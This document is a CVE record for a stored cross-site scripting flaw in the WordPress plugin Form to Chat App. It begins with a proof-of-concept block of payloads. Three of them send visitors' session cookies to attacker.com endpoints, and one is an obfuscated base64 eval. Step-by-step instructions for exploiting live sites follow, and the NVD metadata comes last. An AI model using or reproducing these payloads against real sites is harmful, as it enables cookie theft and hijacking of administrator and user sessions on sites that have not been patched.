CVE-2026-22463

<!-- CVE-2026-22463 Stored XSS PoC for WordPress Form to Chat App --> <!-- Submit this payload through any form field managed by the plugin --> <script> // Steal session cookies var cookies = document.cookie; var img = new Image(); img.src = 'https://attacker.com/steal?c=' + encodeURIComponent(cookies); </script> <!-- Alternative payload using event handler --> <img src=x onerror='fetch("https://attacker.com/exfil?data="+document.cookie)'> <!-- jQuery-based payload --> <script> $.get('https://attacker.com/log?cookie=' + btoa(document.cookie)); </script> <!-- Obfuscated payload --> <script> eval(atob('YWxlcnQoJ0NGQ0dPIFhoUyBNb3ppbGx6Jyk=')); </script> <!-- Steps to exploit: 1. Identify WordPress site using Form to Chat App plugin <= 1.2.5 2. Submit one of the above payloads in any form field 3. Wait for admin or other users to view the chat/form data 4. Payload executes in victim's browser context 5. Attacker receives stolen cookies/session data -->

{"cve": {"id": "CVE-2026-22463", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:35.153", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Micro.company Form to Chat App form-to-chat allows Stored XSS.This issue affects Form to Chat App: from n/a through <= 1.2.5."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Micro.company Form a Chat App form-to-chat permite XSS Almacenado. Este problema afecta a Form a Chat App: desde n/a hasta &lt;= 1.2.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/form-to-chat/vulnerability/wordpress-form-to-chat-app-plugin-1-2-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}